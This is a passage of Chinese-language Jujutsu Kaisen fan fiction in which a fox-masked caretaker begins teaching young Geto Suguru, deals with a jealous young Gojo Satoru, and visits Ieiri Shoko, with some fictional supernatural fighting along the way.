十岁的夏油杰发誓,他真的只是因为好奇对方手上提着的会不会是什么厉害的武器或者更新奇可怕的东西,才忍不住偷偷多瞄了一眼。
然而对方却在注意到他的视线以后提起了那袋东西给他看,香气一下子侵进鼻腔,夏油杰这才发现,对方手上提的是炸鸡。
“是不喜欢吗?这是KFC和数码宝贝的联名儿童套餐,里面的周边是仅限前五十才有的,你不喜欢数码宝贝吗?”
显然误解了他的意思,少女端起饮料喝了一口,语气平淡的解释道。
眼看着被误会,夏油杰连忙摆了摆手:“当然不是,只是妈妈说过,不可以随便要别人的东西,而且这个限量的,很难买吧?”
他已经在脑子里暗暗计算自己有时候攒下来的零花钱有多少了。
“不是随便给你。”看出他在介意什么,花九静了一瞬。
“是我在感谢你,才请你吃东西,而且我也找店员小姐又预定了一份,所以没关系。”
她的语气笃定,莫名带着种让人信服的气势,夏油杰再说不出拒绝的话,他也不想失去这个来之不易的朋友。
是的,朋友。
是他长这么大第一个见到的,能称为自己同类的朋友。
这个认知让他心脏砰砰跳了起来,哪怕明知道要错过规定的放学时间,但他依然说不出道别的话。
能让母亲担心,自己是不是不算一个乖孩子?
“你是一直能看到那样的怪物,还是这两天突然能看见的?”
坐在他对面的花九冷不丁的开口了。
夏油杰微微一怔,意识到对方正在问自己对怪物的了解,他深吸一口气,悄悄挺直脊背,努力让自己的回答听起来更靠谱一些。
“一直都可以,那种怪物会伤人,所以我一直尽量避免它靠近大家,只是、只是……”不知道想到了什么,他的眼神黯淡了下来。
“只是大家不相信你说的话对不对?”
花九平静地道出他的未尽之语,做出了评价。
“很了不起。”
“我知道大家都说我妄想症,但是我依然做不到去无……欸?”
意料之外的话让面前的黑发男孩愣住了。
“根据我的了解,近年来,如果没有背后的术师家族的加持,正常家庭的咒术师小时候夭折率很高。”
咒灵是不会因为你不知道它的存在,就会放过你的,何况来自人类的注视会更让它们注意到你。
假设有一天,你正在上课,突然看到教室里爬进来了一只怪物,正在旁若无人的靠近你的老师和同学,你真的能控制住不去看它吗?
“我能理解你想要保护他人的行为,但我并不认可。”
花九话锋一转,毫不客气的给他泼冷水,试图让眼前清秀端正的男孩理解死亡的残酷。
“在没有自保能力和帮助别人的能力之前,一味地出头,会让你的下场更凄惨,你认知里的那些怪物,是会杀人的。”
“就当是一场噩梦,远离这个对你来说太残酷的世界,下次再遇到类似的事,不要再贸然出头了,如果遇到危险的话……”
她想了想,拿出纸条写下一行号码推了过去。
“打这个号码,会有人来帮你。”
真是的,在了解到关于咒术师以后,花九愈发觉得,劝人从事这种高危又全年无休的职业就是天打雷劈的事,指指点点。
她咬碎嘴里的冰块,咔嚓一声,但面前的黑发妹妹头男孩在怔忪了一会儿,却没有接过纸条,而是拉住了她的袖口。
“可是我想保护别人。”他冷不丁的开口了。
“姐姐你能理解我看到怪物的感受对不对?你来自那个世界对不对?你可不可以……让我也接触那个世界?”
当然不行。
眼前的男孩明显只是普通家庭的出身,诅咒从负面情绪里诞生,当咒术师太容易扭曲了,这无疑是一条神秘但危险的道路。
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夜蛾先生说过,在他上学那几届里就有普通人咒术师因为精神崩溃,最后沦为诅咒师被昔日的同窗杀死。
但是,要怎么说服眼前这个目测看上去和悟少爷年纪差不多的男孩呢?
“你今天看到的那只咒灵,如果我当时没有出手,你就会被它掏出血淋淋的内脏,死状惨烈的躺在那条巷子里,最差的情况是,你连全尸都没有。”
她决定摈弃委婉的说话,直接的告诉了他很有可能面临的后果。
但眼前的男孩却并没有因此露出恐惧的表情,他倔强的抓着她的袖子不放。
“……那我也不会因此放弃的,比起死掉,我有更害怕的东西。”
他的眼神和语气过于坚定,花九静了静,有些应付不来这样的人。
小治正处于叛逆期时曾经把玩她的头发似笑非笑的说她看上去是那种死缠烂打就能被追上的人呢,虽然花九并不认同这点,但当下面对连咒灵都不害怕的小男孩,她也有些词穷。
是严厉的劝退他呢,还是要动之以情晓之以理说服他呢?
花九张了张嘴,最后说出的只有干巴巴的两个字。
“……不行。”
果然,面前黑发男孩的眼神瞬间黯淡了下去,他看上去并不擅长勉强别人,但此时依然执拗的抓着她的手指。
“如果、如果只是自保呢?您只需要在有时间的时候,教我一些自保的能力,这样我在遇到危险,也可以保护好自己和他人。”
夏油杰声音轻轻的,他有双干净又温柔的眼睛,眼尾微微上挑,此时正仰起脸,固执又忐忑的盯着花九。
“……拜托你了,姐姐。”
像是感受到了她的动摇,脑内再次响起神明机械的声音。
“答应他。”
花九:“……”闭嘴吧你个人工智障。
又温柔又有礼貌,还有很强的正义感,还特别会示弱,和总是骂别人杂碎、任性的悟少爷比起来这性格简直是天使吧!!!
当然,彼时心软的花九绝对不会想到,在短短几年后,这俩人的存在会宛如台风过境,魔童降世。
12.第 12 章
一直到天色渐晚,花九才回到了五条家。
她问过路过的下人,得知五条悟已经回自己的房间休息了,虽然有些疑惑今天这么一反常态的这么听话,但她还是轻轻推开了对方的房门。
房间里没有开灯,被褥里拱起一团,看样子确实是睡着了。
心想原本打好的腹稿此时也用不上了,花九将他点名要吃的联名炸鸡放到边上,走到床边习以为常的替他掖了掖被子。
可能是因为对那些长老的不满无处发泄,五条悟的睡姿最近一直不太安分,如果说之前的睡姿端庄宛如睡美人,现在则像只气性超大的猫咪玩毛线团把自己裹得乱七八糟的样子。
花九俯身看他,见他半张精致漂亮的脸埋在松软的枕头里,平时面对外人总是写满冷冰冰情绪的猫猫眼紧闭着,银白的睫毛随着呼吸的起伏微微颤抖着,似乎是因为有些呼吸不畅,他皱起了眉。
被子捂着脸容易影响呼吸,花九伸出手替他把被子往下压了压,正想转身去处理剩下的麻烦事,手腕突然被斜里伸来的小手拉住了。
“你去哪里了。”
并不友善的语气,小少年从床上坐起来,出声的瞬间,灯光霎时亮如白昼,五条悟看着她,那双钴蓝色的澄澈眼眸里毫无困意,清醒到磨一磨就能杀人。
“就算得多跑几家店,也不至于需要这么晚才回来,你去见了其他人?还是说你有什么行动必须要离开五条家才能进行?”
一如既往地敏锐和直接。
花九想收回手,但是出于她对悟少爷的了解,如果这时候收回手会让他更不高兴。
于是她只得维持现在的姿势:“悟少爷,我偶尔也是需要外出执行任务的,咒术界不会允许我这样的人吃白饭。”
倒不是她想故意在路上拖延时间,只是她也没想到夏油杰的父母会那么热情,非要留她下来吃晚饭,还说夏油很少往家里带朋友。
于是,在看到老两口和黑发男孩有些期待的眼神,原意只是想替他找个理由不让他因为回家晚挨骂的花九被拉进了家门。
可是这个回答并不能让五条悟满意,他紧盯着花九,寸步不让。
“我很强,你明明可以带上我,而且就凭你的实力,解决几只咒灵也花不了多少时间。”
想到这里,他冷不丁的甩出了一个问题。
“你在外面有别人了?”
“?从今天我开始我要没收您的小说了,悟少爷。”
花九噎了一下,虽然确实答应了给夏油杰做师父,但这个说法未免也太容易引起人误会了。
五条悟完全没有仗着自己视力好半夜偷偷看小说的心虚,他理直气壮的说:
“可是你明明说过你在来五条家之前还带过其他人,身为你现在的雇主,要求你不能和其他跟我一样的同龄人接触很正常吧?”
“……”好欠揍又小学鸡的发言,悟少爷要实在太闲就送他去上学吧。
前两年明明还很可爱的,都说男大十八变,也没说是核聚变啊。
花九睁着死鱼眼看眼前正因为拆家而得意洋洋的猫咪:“再无理取闹我就要申请休年假了悟少爷。”
面前白发蓝眼的男孩果然不开心的皱起脸,一脸“应该取消五条家的年假”的不爽表情。
但他却是生硬的换了个话题:“这几天我老是做奇怪的梦。”
花九的注意力果然被吸引了,准备往外走的脚步停下来了:
“是发烧或者压力太大么?过几天有时间我们出去玩?”
在这种事上,她的态度向来很严谨。
五条悟却没有顺着说下去的意思,他像只闹脾气的猫咪软趴趴的倒回被褥里,表情莫名有些冷淡。
“不要,我又不是小孩子了。”
花九:“……”
你以为你现在很大吗?
她从善如流的改变话题:“好的,那么成熟的悟少爷,最近家里来的那个短发的新侍女,你有注意到她有问题吗?”
听她主动提起这些事,五条悟的表情缓和了一些,态度终于没有那么别扭:“那种程度的暗杀我自己也能应付啦,不过她确实有点烦人了。”
“我知道了,炸鸡要趁热吃,吃完记得好好刷牙,晚安。”
她关上门,处理完剩下一点事以后开始往自己的房间走,路遇熟悉的面孔,花九点头回应,顺口提起了一句那个短发侍女的事,得知对方现在正在自己的房间里休息。
“我有点事需要问她,麻烦你带我去找她了。”
对方羞涩的点头,把她领到了短发侍女所在的房间,路上不痛不痒的聊了会儿天,直到停在一间开着灯的房间外,女孩子没等她开口,就有些迫切的率先推开房间门。
……空气里飘来的异样铁锈味让她下意识抽动了一下鼻子,在意识到那是什么味道的时候,背后冷不丁想起侍女长清冷又平静的声音。
“谢谢。”
侍女内心瞬间警铃大作,但已经来不及了,片刻后,擦去刀身上血迹的花九走出门,叫来仆从去打扫房间,自己则站在走廊上,一抬眼便看到了皎洁冰冷的圆月。
故意告诉她刺客只有一个,悟少爷和以前一样,还是那么喜欢试探。
……
自那天起,除了五条家的工作以外,花九还额外多打了一份工。
因为是自己答应下来的,她只打算先让自己教导那个孩子一段时间,让他近距离接触过这些东西之后再决定以后要不要要走上这条道路。
如果他真的下定决心,她再把这个孩子引荐给夜蛾先生,不过这样一来,她的业余时间就被压榨了。
名为夏油杰的孩子很好学,态度端正,人也很有礼貌,最重要的是,他上手很快,在学习上积极的让人吃惊。
……他说想要保护他人的愿望,似乎当真出于真心。
花九并不讨厌这样认真的人。
毕竟她也曾握紧刀柄,想要保护对自己而言非常重要的人,虽然最后的结局是身死道消。
似乎因为找到难得的同类,再加上见面时间短,小夏油杰在休息时间话总是很密,但鉴于表情非常认真,又很难察觉到他的话唠。
花九不是很严厉的性格,甚至为了孩子的心理健康,如果每次上完课还有时间的话,她也会带他去符合这个年龄的场所。
这次因为事情处理的比较快,出门的时间比预计早了半个小时,花九思考了一下,决定不浪费时间,直接去学校门口接他。
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>现在正是放学时间,一群背着书包的小学生鱼贯而出,花九在门口等了一会儿,终于看到那个妹妹头男孩和同学一起走了出来。
他长得秀气,皮肤白得透光,略长的黑发垂到颈窝,身上的衣服也干干净净没有一丝褶皱,但此时,他的表情却写满阴霾。
因为旁边的小胖子肩膀上蹲着一只宛如苍蝇大肚子和畸形脑袋,小胖子也察觉到不适,正在抱怨自己午睡落枕了,肩膀好疼,其他同学没放在心上,只有夏油杰一直控制不住的去看那只咒灵,表情凝重。
花九只教了他一些关于术式的理论,还没告诉他实战真正遇到了应该怎么去处理。
如果这时候硬要出手扑倒同学的话,可能又会被当成怪人然后失去朋友,但是要放任不管的话,夏油杰也做不到。
几人走出校门口,小胖子说自己要提前回家,眼见着就要带着肩膀上的咒灵转身离开,夏油杰终于看不下去,准备上前的时候,小胖子的肩上突然搭上来一只手。
对方的手很好看,白皙的同时如梅骨,但指腹遍布常年练刀留下来的老茧,那只手做了个奇怪的弯曲手势,仿佛是握住了空气,紧接着才落到小胖子的肩上。
但夏油杰却看得真切,花九是徒手捏爆了那只咒灵,小胖子只觉得肩膀上一轻,他慢半拍的抬起头,被诡异的面具吓到一屁股坐到地上。
“呜哇!!!”有鬼啊!!
但很快,他便发现了不对,虽然戴着可怖的面具,装扮也有些怪异,但那头漂亮的金发,线条优美的下颌线和脖颈,以及那殷红的唇瓣和……
“还能站起来吗?”
很好听的声音,像淌过心间的溪水,温柔又清冷。
这完全就是个打扮得很酷但是很漂亮的大姐姐啊!
小胖子完全忘记了刚才是她的出现才吓得自己摔了跤,他连忙屁颠屁颠爬起来。
“没事没事!那个,你……”
“我是夏油杰的远房表姐。”花九面不改色的扯谎,就见一旁愣住的小夏油杰瞬间回过神,乖巧的回应了她的话,软软的叫她。
“姐姐。”
小胖子顿时露出“你早说你还有个看起来会变身的姐姐啊”,开始热情的邀请夏油杰一起去游戏厅玩,完全忘了自己要提前回家的事。
花九替夏油杰婉拒了他的邀请,带着他和依依不舍的小胖子道别,路上,夏油杰似乎也很开心。
“姐姐现实是做什么职业的呢?”
他喝了口果汁,眼睛亮亮的看着她,夏油杰是个很难让人讨厌的孩子,再加上经过这段时间的相处,花九也没有特意隐瞒,简单介绍了一下自己的工作类型。
见他听得出神,勺子里的冰淇淋都滴到桌上去了,照顾五条悟的习惯发作,她下意识扯了张纸巾俯下身,从他手上接过勺子,正想告诉他今天时间比较紧,等下吃完得赶紧开始,突然察觉到了异样的气氛。
这一转头,就对上一双漂亮的钴蓝色猫猫眼,但此时那熟悉的眼睛里是冷冰冰的不悦情绪,正一言不发的盯着他们看。
从他的视角来看,就是花九准备亲手喂夏油杰冰淇淋吃。
……可是,她出门前分明没有透露自己的行踪,五条悟怎么会出现在这里?
13.第 13 章
事发突然,花九也愣了一下,但很快想到了其中关键,于是她语气平稳的提出了自己的推测。
“我出门前没有向任何人透露自己的行踪,也没有感受到被跟踪的气息,悟少爷是在我身上放了跟踪咒具?”
言下之意很明显,你怎么会在这里?
“我不能来吗?还是我影响到你和别人玩了?”
五条悟丝毫没有被拆穿的心虚,甚至理直气壮的撇了撇嘴来表达自己的不满意,然而下一秒,白发蓝眼的小少年看向离花九很近的夏油杰,眼里是某种冰冷的情绪。
“你明知道这家伙是我的吧?你又是从哪里冒出来的外人?还敢离她这么近?”
这含枪夹棒的态度听得黑发妹妹头的男孩皱起眉,夏油杰正要说什么,花九眼疾手快的将一勺冰淇淋喂进他嘴里,准备自己来解释,然而目睹这一幕五条悟像是被踩到尾巴的猫,顿时震怒的提高了声音谴责她。
“你还喂他吃冰淇淋?!”
怪狐狸明明从几年前开始就不喂他吃饭了!眼前这个人凭什么?!
花九:……
你是什么幼稚鬼吗。
她有一瞬间幻视了眼前的白色长毛猫咪瞬间被气得炸毛,一整只在视线里蓬松了一大圈。
没由来的火气瞬间被浇灭大半,她冷静地指出事实。
“你在无理取闹,悟少爷。”
“明明是你这只坏狐狸背着我在外面偷腥!”
五条悟在人很多的甜品店里字正腔圆的念出了昨晚熬夜偷偷看的小说台词,态度之趾高气昂和理所应当,带着股得意洋洋的欠揍劲儿。
“……”
出大馋猫,出大坏猫,出喜欢拆家伸爪子还没有人能降服的大悟猫,九成新包邮,她自掏腰包倒贴二百。
面对店里众人诡异的视线,花九露出一个礼貌而不失警告的微笑,磨了磨雪白的牙齿。
“……收收神通吧悟少爷,我回去就没收你的漫画书和中二小说。”
花九正想说话,突然被人抱住腰身,咽下冰激凌的夏油杰紧紧盯着面前的五条悟,语气也相当不善。
“就算你是姐姐的雇主,但姐姐也不是必须得时时刻刻都听你的吧?她也有自己的生活,才不是得一直围着你转。”
夏油杰觉得这个人性格有问题,哪怕花九姐姐在他家工作,但占有欲这么强,连姐姐私生活都要管,未免太过分了!
于是一向正义感很强的夏油杰决定站出来狠狠批评这种行为。
但五条悟的重点却不是这个:“你叫她姐姐?难道你就是她提到的那个人?”
花九很少向他透露自己以前的事,但五条悟曾经在明里暗里的试探里得知,在对方带自己之前,还曾经带过一个名叫太宰治的黑头发的同龄男孩。
黑头发,还叫她姐姐,还挑食要人喂,还举止这么亲密,这人难道就是那个太宰治?!他来找怪狐狸想做什么?难道想让她回去?
想到这个可能性,五条悟脑中顿时警铃大作,充满敌意的瞪向夏油杰。
怪狐狸是他一个人的,什么前任雇主,什么黑毛怪刘海,都应该通通退散!
夏油杰不知道姐姐有没有在他面前提到过自己,但他觉得按照自己优秀的表现,姐姐就算在别人面前夸他,也是再正常不过的行为。
于是他理直气壮的认下了这个身份:“是又怎么样?姐姐更喜欢我有什么不对?”
这话无疑雷区蹦迪,五条悟微微眯起眼,视线森然,下定决心要把眼前这个人脸上打出个染色铺来。
因为正经冷淡如花九,还真没对他说过最喜欢他这种话。
眼见着两人火药味儿越来越浓,花九挡在两人中间,决定在事态更加严重时阻止这场闹剧。
“两位,请听我说,这件事其实是个……”
“我要把你吊起来打成三截,然后倒挂在院子外面暴晒。”五条悟破天荒的露出了冷冰冰的,杀意毕露的笑容,看上去是要被气疯了。
夏油杰寸步不让的对上他的视线,也露出了专属于邻居家好孩子的礼貌笑脸。
“我和你不一样,我只会心疼被你压榨的花九姐姐,我不会让你继续欺负她的。”
虽然完全是在跨频道交流,但两人却神奇的对上了对方的电波,彼此都对对方起了杀心。
花九:“……误会。”没有一个人在听她说话啊。
眼见着店员小姐已经欲言又止的在这里徘徊了几圈,不想影响对方做生意的花九主动提出先去买单,想在两人快打起来之前就转移战场。
五条悟虽然根本不在意旁人的眼光,也丝毫没有影响别人的自觉,但夏油杰说的话到底让他多了几分顾虑,看到花九去前台买单,他和夏油杰退到了店外。
在人来人往的商业街上,找了个相对人少的地方,五条悟的火气被勉强压下去了些,理智回笼,他正想说点什么,就听到夏油杰问他:
“你跟踪姐姐,还为此这么不高兴,是因为她宁愿瞒着你也要来找我吗?”
“……”
*
这边,花九刚把钱递给店员小姐,就听到不远处传来爆炸的声音。
“?”
出门前不是还好好的吗,怎么又打起来了?
她的动作顿了顿,面对面露同情的店员小姐,她选择礼貌性的笑笑,然后目的明确的走向了爆炸的声源处,但也没急着靠近,而是选择了观察。
五条悟虽然气归气,但是内心还是掌握了分寸,不至于真的对夏油杰下狠手,夏油杰的表现也出乎意料,虽然刚刚才领悟了一点术式,但看得出来很有天赋。
这让做师父的她心情也不由轻快了起来。
她旁观了一会儿小猫和小狐狸毛茸茸的滚到一起打架,便不客气的插入了两人的争斗中,但也没用武力制止,只是将怒气冲冲的两人拦下来,指了指旁边天台上正在偷窥的诅咒师。
“接下悬赏的诅咒师就跟夏天晚上的苍蝇一样,不及时处理掉的话,半夜会一直听到嗡嗡嗡的声音在持之以恒的影响你休息又不好打到哦。”
被五条家那个狐狸侍女用手指了指,正在暗中观察的诅咒师顿时预感大事不妙,果然,下一秒,那个悬赏金额已经高得可怕的银发小少年已经抬起眼皮,冷冰冰的看了过来。
下一秒,极其暴戾的一拳直击门面,将他整个人都掀飞出去,身下的水泥地像龟裂的蛛网扩散开来。
……正在向他挥手的,是他的太奶吗?
“知道我心情不好还上门打扰,不长眼的蠢货。”
……果然是留了手,等到五条悟回来,花九掏出随身
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携带的湿纸巾给他擦了擦浸满血迹的指缝,把两只小动物都打理得干干净净以后,带他们换了家店吃东西。
这次虽然没有直接动手,但气氛反而更诡异了。
“悟少爷,不要往杰少爷的咖喱饭里加那么多爆辣芥末。”
“杰少爷,偷偷找老板要白酒伪装成白开水给悟少爷说这是道歉礼的行为也是不可取的。”
夏油杰露出乖巧的表情:“抱歉,我这几天有点感冒,确实没闻出来那是白酒,倒是姐姐酒量好好,难道是传说中千杯不醉的酒圣吗?”
听到酒圣两个字,花九头顶的狐狸耳朵动了动,像是想起什么糟糕的回忆,她轻咳一声:
“我确实不太容易醉酒,不如说会让我喝醉的东西……”
“这家伙醉咖啡。”五条悟不爽的声音从旁边插进来。
“前几年我整蛊她,给她弄了超浓黑咖啡,结果她刚喝完还很正常,没一会儿就开始当场发疯了。”
不知道的还以为是中了蛇毒,走七步就发作了。
包括且不仅限于大骂工作就是狗屎,封建糟粕的御三家更是狗屎集中营;把上门找麻烦的讨厌长老打了一顿扔了出去说垃圾要自己学会分类;以及化身石矶娘娘对着他又亲又抱,嘴里还发出怪声:
“小猫咪!你以为你能逃出我的手掌心吗桀桀桀!”
“……”虽然不记得自己做过什么,但就凭一向混世魔王的悟少爷那段时间看到她都绕道走、以及手下侍女们避之不及的惊恐眼神来看,她大概确实是做了很过分的事。
难得心虚的花九轻轻咳嗽了一声。
夏油杰:“……”虽然不知道内情,但是总有种最好不要这么做的直觉。
……
“妈妈,我来帮你吧。”
“欸,等等,小杰。”
像往常一样写完作业帮母亲分担了一部分家务时的夏油杰正要回房间,就被母亲叫住了。
“这些天没顾得上问,那位王小姐的课外辅导能力怎么样呀?我听老师说你在班上的表现比之前外向了,教资能力应该是很强了,今天那个白头发的男孩子是你新认识的朋友吗?”
为了合理的让他离开家,花九姐姐给他父母的理由是给他补课,还像哆啦A梦那样拿出了不知道哪里来的教师资格证,虽然本人说过并没有从事过教师行业。
朋友吗?应当不算的。
但面对妈妈期待的眼神,夏油杰顿了顿,鬼使神差的给出了回答。
“是的,他们两个都是对我很好的新朋友。”
*
“所以,这家伙不是你那个前任雇主?”
一直到傍晚,完成了一天的学习内容,顶着夏油妈妈热情的留饭建议把夏油杰送回家果断告辞后,五条悟看到面前那扇门关上,这才问出了他今天一直想知道的问题。
全程被无视的花九:“……我从来没说过他是吧?”
五条悟将手臂架在脑后,用鼻子长长的哼了一声,明显敷衍的语气,他没看花九,那双漂亮的钴蓝色眼眸正面向前方,被逢魔时分的霞光晕染得睫毛根根分明,美得甚至带上了几分神性,他像是想起什么,看似不经意的提起另外一个问题。
“——喂。”
“你那个叫太宰治的前任雇主,是什么样的人?”
14.第 14 章
“你那个叫太宰治的前任雇主,是什么样的人?”
冷不丁的从五条悟口中听到这个熟悉的名字,花九面具后的金眸瞥向身边的小少年,虽然是故作镇定的口吻,但一些肢体上无意识重复的小动作暴露了他此时并不像表面上那样云淡风轻。
——虽然长大了,但还是让人不由想到七岁时那只探头探脑的猫猫。
想了想,她回答道。
“我不能向你透露小治的隐私问题。”
很符合她风格的回答。
但五条悟并不满意这个回复,那个称呼听起来就让人很不爽,他停下脚步,定定地盯着花九看了几秒钟,嘟囔着转开视线。
“不用猜就知道是个弱小的家伙。”
这话就有点酸溜溜的孩子气了。
虽然在花九看来,这世界上并没有真正的弱者,但无论是按世俗意义上的战斗实力还是身份地位的强弱来判断,太宰少爷都绝对不能被粗暴的划分到弱者的区域去。
……当然,眼前的人也不算就是了。
想了想,花九决定反问他。
“是什么让悟少爷你得出这个结论?”
“因为你更喜欢去照顾和保护弱小脆弱的人和事物吧?”
五条悟没有看她,却毫不客气的拆穿了她。
“以前的我在你看来虽然符合柔软的定义,但我并不弱小,所以你对我总是若即若离。”
他拖长调子抱怨。
“真过分啊,想要得到你的关注,还得被迫和那些弱者相提并论。”
……就连梦里的她也是这个样子,明明最后也没落到什么好下场。
我倒宁愿你和那些腐败的烂橘子一模一样,这样的话我也不会为你动摇。
五条悟不爽的继续往前走,却没听到她跟上来,他顿了顿,面色冷了下去,正要就这样回家的时候,就听到她在身后开口了。
“你只是觉得弱者麻烦,但你并不讨厌弱者,悟少爷。”
白发少年的脚步一顿,然后若无其事的撇开脸:
“你既然看得出来,为什么不能多把注意力放在我身上?五条家太死板,和那些烂橘子互相算计也太无聊,你既然和这里的人都不一样,那我想多向你索取一些,有什么不对?”
这话说的直接,这次换花九沉默了。
她怎么觉得,悟少爷有可能、大概、说不定是在跟她撒娇?
不确定,再看看。
有神明大人在,自己在五条家的时间仿佛被按下了倍速键,眼前的蓝眼小猫好像一眨眼就长大了一大圈,花九迟疑了半晌,最终还是选择在他面前半蹲下来:
“虽然不知道悟少爷想听到什么样的话,但我说过会陪伴你,为你扫平障碍,我不会食言。”
——就像当年向另一个人履行承诺那样。
五条悟与她对视。
金发少女巴掌大的小脸虽然被狐狸面具挡去了大半,但细看可以发现她分明也没有比她大几岁,甚至因为容貌一直没有变化的原因,可能再过几年,他看起来都要比她还大了。
想到这里,五条悟的心情突然愉悦了起来。
“就算你只在乎弱者也没关系,反正我才是最强的。”
“我会想方设法抢夺你的注意力,哪怕你不愿意。”
“……”
花九沉默无言的看了他十秒钟,就在他以为对方不会再说什么的时候,她突然伸出手,精准无误的从对方口袋里摸出一台某IP联名限定掌机。
不出意外是来的路上顺便去买的。
花九顺势抬高手臂,避免他来抢。
“既然要向我证明自己的决心,就把这次偷偷买的掌机也上缴吧,悟少爷。”
五条悟:“……一码归一码,这件事上我没同意。”
*
“……一码归一码,这件事上我没同意~”
五条悟像是没骨头一样把自己瘫在沙发上,顺势抬高手臂避免花九来抢,白发少年脸上带着欠揍的笑容,好整以暇的等她来抢。
此猫越长越幼稚,说他八岁都嫌多。
花九懒得再跟他玩这种小孩子的争夺游戏,正想转身离开时,五条悟突然攥住了她手腕。
虽然确实没那么容易被他拉过去,但下一秒,少年突然抬手对着房间做了个结印的手势,花九担心他拆家给自己增加工作量,眉心一跳,下意识抓住他的手指。
然后下一秒,受到攻击的膝盖一软,直直地跪下去,被不遗余力偷袭她的五条悟反手按进沙发里,他居高临下的看着她,露出恶意满满的笑容。
“花酱还是一如既往地不敢下死手呢,要是在外面被不长眼的诅咒师杀掉怎么办?”
热意随着呼吸被传达过来,花九死死握紧的手指被五条悟耐心的一根根掰开,然后整个握住。
被他钳制在身
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下的花九:“……真下死手你又不高兴。”
五条悟不知道有没有听到这句话,他见花九真的要生气了,若无其事的松开手,探身去拿了一个游戏手柄递给她,兴致勃勃。
“我最近发现了一款很好玩的双人游戏,一起来试试吧?输了的话要答应赢家三个要求,拒绝的人会被人在脸上画乌龟。”
已经习惯这人各种恶作剧的花九不为所动的把手柄原封不动的推回去,再次提醒他自己的来意。
“悟少爷,我只是例行来检查你的学习情况,接下来我还要出去一趟,回来还要去面见长老。”
被公事公办的对待,五条悟面上出现了明显的不满:“那种坏掉的橘子让他随便烂在哪个角落不就好了?”
“但这次据说和你入学的事有关,就算不满也麻烦你打起精神来应对,毕竟这关乎你能不能早点脱离御三家,悟少爷。”
好不容易挣脱出来,花九整理了一下自己的着装,语气凉凉的提醒他。
提到要上学的事,鸡掰猫焉了。
他的兴致明显低落下去,像是想起什么麻烦事那样,把掌机扔到了一边,手指灵活的拆开了糖纸,将从花九那里顺来的润喉糖塞进嘴里,但是下一刻,五条悟像是想起什么,再次情绪激昂的举起手:
“那万一你去的路上遇到了什么麻烦,我也能……”
一个人出门太危险了,带上五条咪吧.jpg
“你就是最大的麻烦。”
花九无情的拒绝了他。
*
“所以,那个人还偷偷拿走了你的润喉糖?”
家入硝子咬着香烟糖听她说完了来龙去脉,重点却落到了另一件事上。
真坏啊,符合远远见过那几面时她对对方的刻板印象。
她想。
如果是她的话,就不会这么对花九姐姐。
“你听说过猫咪骗水吗?讲的是小猫不爱喝水,然后主人想到了一个办法,让它去偷喝自己杯子里的水,实际上那水本来就是给它准备的。”
五条悟最近喉咙有些不舒服,又嫌弃润喉糖的味道,所以花九想到了这样的办法。
家入硝子看了她一会儿,随着五官长开,少女眼下的那点泪痣看起来愈发明艳,她想了想,将香烟糖掰成两半,细长的指尖夹着没被唇瓣沾过的另外一半,递给花九。
“总觉得有点介意呢,要来尝尝我的么?”
15.第 15 章
虽然不知道小姑娘在介意什么,但鉴于对方这几年在自己面前的表现一直都很乖,所以哪怕提出了听起来有些奇怪的要求,但花九还是选择了溺爱。
她接过香烟糖咬在嘴里,从口袋里摸了摸,摸出两盒没拆封香烟糖放在桌上推了过去,想了想,补充了一句。
“就算是真抽烟也没关系,这个糖味道还是太一般了。”
话音刚落,家入硝子的眼神闪了闪:
“你不介意?”
“有那位一身陋习的甚尔先生在,我现在已经不在意这么多了。”
“好的。”
家入硝子当然知道她说的是谁,作为生性叛逆却被花九姐姐强行拉来做体术老师的那个男人做出什么事都不奇怪。
不过……
“夜蛾老师最近离婚了吧?我上次看到他感觉有点憔悴。”
花九露出讶异的眼神,没想到她的直觉这么敏锐,因为那个壮硕的男人在外界视角来看只是稍微消沉了些,消瘦了些。
其实离婚算是早有预兆了,夜蛾正道作为一名教育从业者,几乎身心都扑到了栽培学生上,虽然人过中年,但和妻子至今没有孩子。
而夜蛾先生的妻子,花九也曾远远地见过一次,是个气场很强的职业女性,同夜蛾先生一样,也是将全身心都扑到事业上,两人聚少离多。
虽然对彼此还有感情,但最后还是因为无法分出更多余力来维系婚姻,选择了体面的分道扬镳。
想到这里,她还不忘记叮嘱硝子。
“他俩是和平分开啦,记得入学的时候不要提起这件事让夜蛾老师伤心哦,壮汉情到深处掩面哭泣这种画面就算是我也会不知道怎么安慰的。”
“我知道,我不像他们,是那种会在伤口上撒盐的类型。”
硝子应了一声,将香烟糖珍惜的收进柜子里,这才抬头看花九。
“我们距离上次见面已经过去一段时间了,花九姐姐这次能多陪我一会儿吗?”
“当然可以啦。”花九揉了揉她的棕发,女孩子在她的抚摸下眯起了眼,像只主动翻肚皮的猫咪。
但如果硝子也是小猫咪的话,大概是那种有很多聪明毛的小猫,而不是某只犟种毛满满当当的大坏猫。
家入硝子慵懒的靠在她怀里,突然像是想起了什么,冷不丁的开口了:
“虽然已经认识很久了,但花九姐姐一直都是原样呢。”
她还清楚的记得当时的初见。
作为没落的咒术师家族,父母总是憋着一口气,希望她能成为无所不能的天才,重振往日荣光,以至于把所有希望都压在了在旁人眼里看来很有天赋的孩子身上。
可家入硝子只觉得无趣。
这一切太循规蹈矩,太按部就班一潭死水的人生让她过早的生出了名为“厌倦”的心理。
以至于当时夜蛾先生登门拜访的时候,面对狂喜的父母,硝子抱着自己的玩偶站在后面,心里掀不起任何波澜。
后面他来访的次数多了,直到某一天,她冷不丁的看到了那个人。
她和唇角有疤的男人一起造访,那副面具在旁人看来非常古怪瘆人,却让她打起了一点精神。
家入硝子猜测过她是不是妖怪,才会长着旁人没有的狐狸耳朵和尾巴,直到她在他们走了,在去便利店的路上看到了三个人的影子。
她在拆火腿肠喂流浪猫,垂下的发丝被霞光渡上柔软的辉光,小猫舔她的手指头,那个冷脸男人催她赶紧离开,她摸了摸小猫的脑袋。
她站在原地,突然觉得困扰她的问题有了答案。
……对方明明就是跟她一样的人嘛。
花九摇了摇头:“没变化也不算好事啦,而且你也没见过我面具下的脸,说不定面具下面是各种受伤烫伤呢。”
“那我也不会害怕的。”
家入硝子回答的淡定又笃定,花九下意识摸了摸自己的面具,觉得自己还是太没有威慑力了。
下次一定要想办法成功吓到他们。
*
“这次咒灵出现的地点是在附近的一所高校,尚且不能确定有没有存活的人质有两名,其他学生已经及时遣散了。”
等挂断长老的电话时,辅助监督的声音适时从旁边响了起来。
她看了看花九的表情,看起来很平静,似乎没有被刚才的电话影响心情,于是继续说了下去。
“被困的几个学生当中,其中一位的母亲是禅院家那边某位的口口……所以我们这边的需求是希望您……”
“——有全尸的话我会视情况带出来。”
